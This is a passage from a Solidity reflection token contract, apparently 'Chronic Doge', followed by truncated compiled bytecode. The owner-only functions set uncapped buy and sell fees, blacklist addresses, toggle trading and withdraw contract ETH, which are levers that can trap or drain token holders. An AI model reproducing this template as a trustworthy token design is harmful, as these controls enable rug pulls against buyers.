function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600c81526020017f4368726f6e696320446f67650000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006705d423c655aa0000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600c81526020017f4368726f6e696320446f67650000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600654905060006705d423c655aa000090506127726705d423c655aa00006006546124d290919063ffffffff16565b821015612790576006546705d423c655aa0000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82